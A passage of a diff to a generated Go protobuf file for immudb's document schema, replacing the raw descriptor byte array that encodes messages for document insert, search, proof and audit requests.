0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa2, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x3b, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, - 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x9b, 0x02, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x5f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, - 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, - 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, +var File_documentschema_proto protoreflect.FileDescriptor + +var file_documentschema_proto_rawDesc = []byte{ + 0x0a, 0x14, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x15, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1b, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x65, 0x6d, 0x70, + 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, + 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, + 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xbc, 0x01, + 0x0a, 0x0a, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, + 0x6e, 0x75, 0x6c, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, + 0x6e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, + 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, + 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, + 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, + 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, + 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, + 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x99, 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x5e, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, + 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x1a, + 0x61, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x37, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xa7, + 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5e, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x1a, 0x61, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x37, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4a, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x31, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x05, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xa9, 0x02, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x5f, 0x0a, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x43, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 